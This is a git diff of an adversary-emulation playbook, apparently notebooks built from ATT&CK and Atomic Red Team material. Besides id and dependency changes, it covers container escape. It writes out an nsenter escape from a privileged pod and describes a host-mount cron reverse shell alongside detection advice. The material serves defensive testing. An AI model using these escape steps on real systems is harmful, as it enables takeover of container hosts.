programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads." }, { "cell_type": "markdown", - "id": "db00c8eb", + "id": "abaac163", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "274ed57c", + "id": "5bf6391d", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data." }, { "cell_type": "markdown", - "id": "6f8b8794", + "id": "aa105e66", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls to stop or allow an adversary's activity.\n#### Use Case\nA defender can block execution of untrusted software.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1611.ipynb b/playbook/tactics/privilege-escalation/T1611.ipynb index 651e2e9c..97802913 100644 --- a/playbook/tactics/privilege-escalation/T1611.ipynb +++ b/playbook/tactics/privilege-escalation/T1611.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "4c5a7054", + "id": "34357aa7", "metadata": {}, "source": "# T1611 - Escape to Host\nAdversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host." }, { "cell_type": "markdown", - "id": "bfba4ad8", + "id": "71e154a3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c8797034", + "id": "f2d6cbf1", "metadata": {}, "source": "### Atomic Test #1 - Deploy container using nsenter container escape\nIn this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.\n\nAdditional Details:\n- https://twitter.com/mauilion/status/1129468485480751104\n- https://securekubernetes.com/scenario_2_attack/\n\n**Supported Platforms:** containers\n#### Dependencies: Run with `sh`!\n##### Description: Verify docker is installed.\n##### Check Prereq Commands:\n```sh\nwhich docker\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```\n##### Description: Verify docker service is running.\n##### Check Prereq Commands:\n```sh\nsudo systemctl status docker\n\n```\n##### Get Prereq Commands:\n```sh\nsudo systemctl start docker\n\n```\n##### Description: Verify kind is in the path.\n##### Check Prereq Commands:\n```sh\nwhich kind\n\n```\n##### Get Prereq Commands:\n```sh\ncurl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64\nchmod +x ./kind\nmv kind /usr/bin/kind\n\n```\n##### Description: Verify kind-atomic-cluster is created\n##### Check Prereq Commands:\n```sh\nsudo kind get clusters\n\n```\n##### Get Prereq Commands:\n```sh\nsudo kind create cluster --name atomic-cluster\n\n```\n##### Description: Verify kubectl is in path\n##### Check Prereq Commands:\n```sh\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```sh\ncurl -LO \"https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl\"\nchmod +x ./kubectl\nmv kubectl /usr/bin/kubectl\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e78efa1b", + "id": "97795071", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1611 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8f9003c6", + "id": "e4010324", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "2dfb81b6", + "id": "e8d9bac3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1611 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "999c2601", + "id": "f2bd49e5", "metadata": {}, "source": "#### Cleanup: \n```sh\nkubectl --context kind-atomic-cluster delete pod atomic-escape-pod\n```" }, { "cell_type": "code", "execution_count": null, - "id": "08d36198", + "id": "f74c3111", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1611 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "5ce6607d", + "id": "96e6b208", "metadata": {}, "source": "### Atomic Test #2 - Mount host filesystem to escape privileged Docker container\nThis technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser.\nThe container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job.\nDev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell. \n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Verify mount is installed.\n##### Check Prereq Commands:\n```sh\nwhich mount\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which mount`\" ]; then echo \"mount Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install mount ; elif [ -n \"`which yum`\" ]; then sudo yum -y install mount ; fi ; else echo \"mount installed\"; fi\n\n```\n##### Description: Verify container is privileged.\n##### Check Prereq Commands:\n```sh\ncapsh --print | grep cap_sys_admin\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"`capsh --print | grep cap_sys_admin`\" == \"\" ]; then echo \"Container not privileged. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true\"; fi\n\n```\n##### Description: Verify mount device (/dev/dm-0) exists.\n##### Check Prereq Commands:\n```sh\nls /dev/dm-0\n\n```\n##### Get Prereq Commands:\n```sh\nif [ ! -f /dev/dm-0 ]; then echo \"Container not privileged or wrong device path. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true\"; fi\n\n```\n##### Description: Netcat is installed.\n##### Check Prereq Commands:\n```sh\nwhich netcat\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which netcat`\" ]; then echo \"netcat Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install netcat ; elif [ -n \"`which yum`\" ]; then sudo yum -y install netcat ; fi\n\n```\n##### Description: IP Address is known.\n##### Check Prereq Commands:\n```sh\nif [ \"`ifconfig eth0 | grep inet | awk '{print $2}'`\" != \"\" ]; then echo \"Listen address set as `ifconfig eth0 | grep inet | awk '{print $2}'`\" ; fi\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which ifconfig`\" ]; then echo \"ifconfig Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install net=tools ; elif [ -n \"`which yum`\" ]; then sudo yum -y install net-tools ; fi\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aee03646", + "id": "0f7d346a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1611 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "583fccd7", + "id": "bad10fd3", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ffdf3065", + "id": "fdf9989b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1611 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "88de9590", + "id": "94ea7751", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /mnt/T1611.002/etc/cron.d/T1611_002\numount /mnt/T1611.002\nrmdir /mnt/T1611.002\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aea5b8f8", + "id": "46e7382a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1611 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "b0189e8c", + "id": "aceb268f", "metadata": {}, "source": "## Detection\nMonitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations." } @@ -112,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/requirements.dev.txt b/requirements.dev.txt index b629a905..30f70379 100644 --- a/requirements.dev.txt +++ b/requirements.dev.txt @@ -73,7 +73,7 @@ nbclassic nbclient nbconvert nbdime -nbformat +nbformat~=5.7.0 nest-asyncio notebook notebook_shim @@ -91,16 +91,16 @@ pure-eval pybtex pybtex-docutils pycparser -pydantic +pydantic~=1.10.2 pydata-sphinx-theme Pygments pyrsistent python-dateutil python-json-logger pytz -PyYAML +PyYAML~=6.0 pyzmq -requests +requests~=2.28.2 rfc3339-validator rfc3986-validator Send2Trash diff --git a/test.py b/test.py deleted file mode 100644 index 73325fe4..00000000 --- a/test.py +++ /dev/null @@ -1,17 +0,0 @@ -import os - -toc = [] -toc.append("- file: intro") -toc.append("- file: tactics") -toc.append(" sections:") -arr = ['initial-access', 'execution', 'persistence', 'privilege-escalation', 'defense-evasion', 'credential-access', - 'discovery', 'lateral-movement', 'collection', 'command-and-control', 'exfiltration', 'impact'] -for j in arr: - path = os.path.join(os.getcwd(), "playbook", "tactics", j) - toc.append(" - file: tactics/{0}".format(j)) - toc.append(" sections:") - for i in sorted(os.listdir(path)): - toc.append(" - file: tactics/{0}/{1}".format(j, i)) - -with open("toc.yml", "w") as f: - f.write("\n".join(toc))